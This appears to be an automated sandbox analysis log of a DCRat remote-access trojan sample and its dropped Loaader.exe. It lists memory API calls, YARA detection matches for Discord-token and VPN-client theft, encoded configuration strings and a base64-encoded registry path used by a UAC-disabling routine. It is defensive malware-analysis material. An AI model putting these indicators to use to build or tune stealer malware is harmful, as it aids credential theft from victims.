Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Code function: 0_2_00007FFD9BA131DE NtProtectVirtualMemory,	0_2_00007FFD9BA131DE
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2318E NtProtectVirtualMemory,	7_2_00007FFD9BA2318E
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA23468 NtProtectVirtualMemory,	7_2_00007FFD9BA23468
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 8_2_00007FFD9BA131DE NtProtectVirtualMemory,	8_2_00007FFD9BA131DE

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Code function: 0_2_00007FFD9BA131DE	0_2_00007FFD9BA131DE
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Code function: 0_2_00007FFD9BA12AED	0_2_00007FFD9BA12AED
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA243E3	7_2_00007FFD9BA243E3
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2D38F	7_2_00007FFD9BA2D38F
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA30BC5	7_2_00007FFD9BA30BC5
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA22AED	7_2_00007FFD9BA22AED
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA29296	7_2_00007FFD9BA29296
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA30A7D	7_2_00007FFD9BA30A7D
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2318E	7_2_00007FFD9BA2318E
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2E99D	7_2_00007FFD9BA2E99D
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2A042	7_2_00007FFD9BA2A042
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2FEE5	7_2_00007FFD9BA2FEE5
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA30D98	7_2_00007FFD9BA30D98
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA30DD0	7_2_00007FFD9BA30DD0
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA3005A	7_2_00007FFD9BA3005A
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BA2FDB8	7_2_00007FFD9BA2FDB8
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0D290	7_2_00007FFD9BC0D290
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0F960	7_2_00007FFD9BC0F960
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC12EAC	7_2_00007FFD9BC12EAC
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC045D5	7_2_00007FFD9BC045D5
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC11560	7_2_00007FFD9BC11560
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC15D35	7_2_00007FFD9BC15D35
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC06520	7_2_00007FFD9BC06520
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC064E0	7_2_00007FFD9BC064E0
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0039A	7_2_00007FFD9BC0039A
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0D357	7_2_00007FFD9BC0D357
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC01929	7_2_00007FFD9BC01929
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC0C529	7_2_00007FFD9BC0C529
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BBF6550	7_2_00007FFD9BBF6550
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 7_2_00007FFD9BC00CD9	7_2_00007FFD9BC00CD9
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 8_2_00007FFD9BA12AED	8_2_00007FFD9BA12AED
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Code function: 8_2_00007FFD9BA131DE	8_2_00007FFD9BA131DE

Source: t3h7DNer1Q.exe, 00000000.00000002.1630046027.000000001B7B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs t3h7DNer1Q.exe
Source: t3h7DNer1Q.exe, 00000000.00000000.1593637484.00000000009D2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameClient.exe" vs t3h7DNer1Q.exe
Source: t3h7DNer1Q.exe, 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClient.exe" vs t3h7DNer1Q.exe
Source: t3h7DNer1Q.exe	Binary or memory string: OriginalFilenameClient.exe" vs t3h7DNer1Q.exe

Source: t3h7DNer1Q.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: t3h7DNer1Q.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 7.2.Loaader.exe.1cf80000.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 7.2.Loaader.exe.1cf80000.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 00000007.00000002.2853326582.0000000002A1A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000000.00000002.1621545683.0000000000E04000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000007.00000002.2853326582.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000007.00000002.2853326582.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000000.00000002.1622733927.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000008.00000002.1664745743.0000000000B28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000007.00000002.2850520768.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000007.00000002.2850520768.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000007.00000002.2877936876.000000001B38B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000008.00000002.1665242472.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: Loaader.exe PID: 5172, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy

Source: 7.2.Loaader.exe.1c520000.5.raw.unpack, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformBlock'
Source: 7.2.Loaader.exe.1c520000.5.raw.unpack, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.Loaader.exe.1c520000.5.raw.unpack, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: 7.2.Loaader.exe.12a77358.4.raw.unpack, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformBlock'
Source: 7.2.Loaader.exe.12a77358.4.raw.unpack, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.Loaader.exe.12a77358.4.raw.unpack, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: t3h7DNer1Q.exe, Settings.cs	Base64 encoded string: 'ZSgE7xBGnq+Rt7cUMppN8rA3lH8urzGV2xb7eNCY96Hy1eiWKwwCc7En6gKxqxZ/2PkDlCnX9m2S1lo2xiiB6g==', 'SLrGHEx3OzR+wFRYezLxjUljxsc4JCYeMgZjMnZjnWqe5yx1MwWp01MrYXCUV8+VABeRjwIV74mDU8GclCJ8LA==', 'H5uq8K24WQ59RPaMzoegXPlkFXxNghMbLC8Hyg05hZVlNFM4uLjuYknP/um7OEMV55QkaojJL6HYQYLL/+I1jYGiSFSu3TDJfcKS/wVmsnAQ1vAr7+PHnmtVbTedumXM', '/SSxvI9cCc6gajROWy9NsKWIQlIBncsZdwSCF4aW+gBzj90gnkQo8LljeceOKSHWEmc06qdGCMakK6DB5rySj8cGrJucrDAa2A4EKwFx2j0YlvvtoynHU3WZE84DAdgYtP5hdwTDjZvdgKXmOC6G2gN/pUlG16WpLry/EWADwiWgbDN3d5QnJOhXNjWOx+6nZB/sjkfWoOdEc/j1Cz7ARl1/HWMK97KFiTW67F+7icKK7XHlVC3B0yPoQtoC1b0ulBF9atG/QaNxm4/eSD2N85idPvPZRrIgv+9U0oJ3ADBgJDgI38HRy05GnGrV5NWiTHVtHtng5i7UM0SOze4lCy8Qc8SRRhBTpK/8e47g2uUYOtKbTFeGGUxTQauXcHsWheDZLBk3ivWvHxuQ4JYko3NF1Wc0BVSQpyXmjISoUIkHtsc+svnXS21jmLzGz8UmLMdZrA4kyd50+1XbD5I5Mmy5eFhD2GZ/LCx47keVdZXOA5XdlSGX74PFBKjfV0n1GAKhe/PszCnOCjxC0nVYMVHnAqsE8XT/mjAAwRqJebVPkf/LnFfhvZ2ZGiERCo/U1K1YMteALei0Kmpv2eEgAA+d3/T/6zaxQtEH78x98MHsTBTlrkQRZgj8sqnTl6cEoozQ7IXBomY/876LBkIbgIkJci/FYiTiymGX5qWGUnPBZk18OczUY1jxjHWYSHgbsrEzia6Ww6Ptk0H8pdtD2aQHjFftLMctKhrMauNsX8Kqfcf6KOepoiWfncp5N7oayOXOcxNTAm13mVpR0LUCV2UEantbia5foH79neZA3hLdNk+nqNgn1KXLuxuTVpk1UQN4NWbLRVqzrTiUZj9wN9aXtEDbNqCR7esntSeitBzBgd0L9UXhsk0F61hMHtmA3OXIMqc4n1k/qU4KBPK8YR9a70aXgEV2oeMhOSoYc9yoJTO5Yups9zc8GNLPch7O+doky84atZ05JhnNwpK8YBZoigPbs2tebxyoPuJHePypknfZluW+/6JppQd5lw3nSlXMEviRfto87fflHQFXFtJycWjW+daOJbQHpQ/MNNU=', 'MFMO9tQliu2ahQNaZ3lj7Wf/gRk36qwiOhN2bk2r9goaPIxtvEC1o1xa9OhDCoZCCE/4+3A1er0RXTmjAePWUZiEf716i9ToUYcgyacKNHZnW66p21ybPOob2s2T/B1gnGskdlt5cJpc6jvkp3q/n4JFQRTAesGDRmYu0dyKQ5LPWtBPg/nwm1hQS4zNXK68XGecNV7+oUc6hCHcm2WHB7ixI6S1Rdj8u5c2qquIz9djUVRdGJiEPqnH7aX6ExUEzVhapRSsIue2nifvQ0IfxvlQk9hkzcOQYmbLNZ7EGhs=', 'KSdmB55BOL3ztYhJamMxsl1GB/4EE/vUpYhY8ypiFZ88HhGtjV8JxQYFgyoQ+n8XhN6YFeWOGjHJN5CNponl9g==', 'jVed3LTMOC3Ruh7bMj8e1GRGwkKnPN3oTffGuEc34JGyNAsR2jJEVdUWw0Ib75wbyjKbEVcT+9D1G6Hr50kvyw==', 'pZ/npkec7blOVsRumN94nR0rBZcTDW4ACRirZXscCY48dX8vq9vXv+CBelTsvniWcpE064spGtxGNvGpM7YwHg=='
Source: Loaader.exe.0.dr, Settings.cs	Base64 encoded string: 'ZSgE7xBGnq+Rt7cUMppN8rA3lH8urzGV2xb7eNCY96Hy1eiWKwwCc7En6gKxqxZ/2PkDlCnX9m2S1lo2xiiB6g==', 'SLrGHEx3OzR+wFRYezLxjUljxsc4JCYeMgZjMnZjnWqe5yx1MwWp01MrYXCUV8+VABeRjwIV74mDU8GclCJ8LA==', 'H5uq8K24WQ59RPaMzoegXPlkFXxNghMbLC8Hyg05hZVlNFM4uLjuYknP/um7OEMV55QkaojJL6HYQYLL/+I1jYGiSFSu3TDJfcKS/wVmsnAQ1vAr7+PHnmtVbTedumXM', '/SSxvI9cCc6gajROWy9NsKWIQlIBncsZdwSCF4aW+gBzj90gnkQo8LljeceOKSHWEmc06qdGCMakK6DB5rySj8cGrJucrDAa2A4EKwFx2j0YlvvtoynHU3WZE84DAdgYtP5hdwTDjZvdgKXmOC6G2gN/pUlG16WpLry/EWADwiWgbDN3d5QnJOhXNjWOx+6nZB/sjkfWoOdEc/j1Cz7ARl1/HWMK97KFiTW67F+7icKK7XHlVC3B0yPoQtoC1b0ulBF9atG/QaNxm4/eSD2N85idPvPZRrIgv+9U0oJ3ADBgJDgI38HRy05GnGrV5NWiTHVtHtng5i7UM0SOze4lCy8Qc8SRRhBTpK/8e47g2uUYOtKbTFeGGUxTQauXcHsWheDZLBk3ivWvHxuQ4JYko3NF1Wc0BVSQpyXmjISoUIkHtsc+svnXS21jmLzGz8UmLMdZrA4kyd50+1XbD5I5Mmy5eFhD2GZ/LCx47keVdZXOA5XdlSGX74PFBKjfV0n1GAKhe/PszCnOCjxC0nVYMVHnAqsE8XT/mjAAwRqJebVPkf/LnFfhvZ2ZGiERCo/U1K1YMteALei0Kmpv2eEgAA+d3/T/6zaxQtEH78x98MHsTBTlrkQRZgj8sqnTl6cEoozQ7IXBomY/876LBkIbgIkJci/FYiTiymGX5qWGUnPBZk18OczUY1jxjHWYSHgbsrEzia6Ww6Ptk0H8pdtD2aQHjFftLMctKhrMauNsX8Kqfcf6KOepoiWfncp5N7oayOXOcxNTAm13mVpR0LUCV2UEantbia5foH79neZA3hLdNk+nqNgn1KXLuxuTVpk1UQN4NWbLRVqzrTiUZj9wN9aXtEDbNqCR7esntSeitBzBgd0L9UXhsk0F61hMHtmA3OXIMqc4n1k/qU4KBPK8YR9a70aXgEV2oeMhOSoYc9yoJTO5Yups9zc8GNLPch7O+doky84atZ05JhnNwpK8YBZoigPbs2tebxyoPuJHePypknfZluW+/6JppQd5lw3nSlXMEviRfto87fflHQFXFtJycWjW+daOJbQHpQ/MNNU=', 'MFMO9tQliu2ahQNaZ3lj7Wf/gRk36qwiOhN2bk2r9goaPIxtvEC1o1xa9OhDCoZCCE/4+3A1er0RXTmjAePWUZiEf716i9ToUYcgyacKNHZnW66p21ybPOob2s2T/B1gnGskdlt5cJpc6jvkp3q/n4JFQRTAesGDRmYu0dyKQ5LPWtBPg/nwm1hQS4zNXK68XGecNV7+oUc6hCHcm2WHB7ixI6S1Rdj8u5c2qquIz9djUVRdGJiEPqnH7aX6ExUEzVhapRSsIue2nifvQ0IfxvlQk9hkzcOQYmbLNZ7EGhs=', 'KSdmB55BOL3ztYhJamMxsl1GB/4EE/vUpYhY8ypiFZ88HhGtjV8JxQYFgyoQ+n8XhN6YFeWOGjHJN5CNponl9g==', 'jVed3LTMOC3Ruh7bMj8e1GRGwkKnPN3oTffGuEc34JGyNAsR2jJEVdUWw0Ib75wbyjKbEVcT+9D1G6Hr50kvyw==', 'pZ/npkec7blOVsRumN94nR0rBZcTDW4ACRirZXscCY48dX8vq9vXv+CBelTsvniWcpE064spGtxGNvGpM7YwHg=='
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, Settings.cs	Base64 encoded string: 'ZSgE7xBGnq+Rt7cUMppN8rA3lH8urzGV2xb7eNCY96Hy1eiWKwwCc7En6gKxqxZ/2PkDlCnX9m2S1lo2xiiB6g==', 'SLrGHEx3OzR+wFRYezLxjUljxsc4JCYeMgZjMnZjnWqe5yx1MwWp01MrYXCUV8+VABeRjwIV74mDU8GclCJ8LA==', 'H5uq8K24WQ59RPaMzoegXPlkFXxNghMbLC8Hyg05hZVlNFM4uLjuYknP/um7OEMV55QkaojJL6HYQYLL/+I1jYGiSFSu3TDJfcKS/wVmsnAQ1vAr7+PHnmtVbTedumXM', '/SSxvI9cCc6gajROWy9NsKWIQlIBncsZdwSCF4aW+gBzj90gnkQo8LljeceOKSHWEmc06qdGCMakK6DB5rySj8cGrJucrDAa2A4EKwFx2j0YlvvtoynHU3WZE84DAdgYtP5hdwTDjZvdgKXmOC6G2gN/pUlG16WpLry/EWADwiWgbDN3d5QnJOhXNjWOx+6nZB/sjkfWoOdEc/j1Cz7ARl1/HWMK97KFiTW67F+7icKK7XHlVC3B0yPoQtoC1b0ulBF9atG/QaNxm4/eSD2N85idPvPZRrIgv+9U0oJ3ADBgJDgI38HRy05GnGrV5NWiTHVtHtng5i7UM0SOze4lCy8Qc8SRRhBTpK/8e47g2uUYOtKbTFeGGUxTQauXcHsWheDZLBk3ivWvHxuQ4JYko3NF1Wc0BVSQpyXmjISoUIkHtsc+svnXS21jmLzGz8UmLMdZrA4kyd50+1XbD5I5Mmy5eFhD2GZ/LCx47keVdZXOA5XdlSGX74PFBKjfV0n1GAKhe/PszCnOCjxC0nVYMVHnAqsE8XT/mjAAwRqJebVPkf/LnFfhvZ2ZGiERCo/U1K1YMteALei0Kmpv2eEgAA+d3/T/6zaxQtEH78x98MHsTBTlrkQRZgj8sqnTl6cEoozQ7IXBomY/876LBkIbgIkJci/FYiTiymGX5qWGUnPBZk18OczUY1jxjHWYSHgbsrEzia6Ww6Ptk0H8pdtD2aQHjFftLMctKhrMauNsX8Kqfcf6KOepoiWfncp5N7oayOXOcxNTAm13mVpR0LUCV2UEantbia5foH79neZA3hLdNk+nqNgn1KXLuxuTVpk1UQN4NWbLRVqzrTiUZj9wN9aXtEDbNqCR7esntSeitBzBgd0L9UXhsk0F61hMHtmA3OXIMqc4n1k/qU4KBPK8YR9a70aXgEV2oeMhOSoYc9yoJTO5Yups9zc8GNLPch7O+doky84atZ05JhnNwpK8YBZoigPbs2tebxyoPuJHePypknfZluW+/6JppQd5lw3nSlXMEviRfto87fflHQFXFtJycWjW+daOJbQHpQ/MNNU=', 'MFMO9tQliu2ahQNaZ3lj7Wf/gRk36qwiOhN2bk2r9goaPIxtvEC1o1xa9OhDCoZCCE/4+3A1er0RXTmjAePWUZiEf716i9ToUYcgyacKNHZnW66p21ybPOob2s2T/B1gnGskdlt5cJpc6jvkp3q/n4JFQRTAesGDRmYu0dyKQ5LPWtBPg/nwm1hQS4zNXK68XGecNV7+oUc6hCHcm2WHB7ixI6S1Rdj8u5c2qquIz9djUVRdGJiEPqnH7aX6ExUEzVhapRSsIue2nifvQ0IfxvlQk9hkzcOQYmbLNZ7EGhs=', 'KSdmB55BOL3ztYhJamMxsl1GB/4EE/vUpYhY8ypiFZ88HhGtjV8JxQYFgyoQ+n8XhN6YFeWOGjHJN5CNponl9g==', 'jVed3LTMOC3Ruh7bMj8e1GRGwkKnPN3oTffGuEc34JGyNAsR2jJEVdUWw0Ib75wbyjKbEVcT+9D1G6Hr50kvyw==', 'pZ/npkec7blOVsRumN94nR0rBZcTDW4ACRirZXscCY48dX8vq9vXv+CBelTsvniWcpE064spGtxGNvGpM7YwHg=='
Source: 7.2.Loaader.exe.2710000.0.raw.unpack, HandleDisableUAC.cs	Base64 encoded string: 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVt'
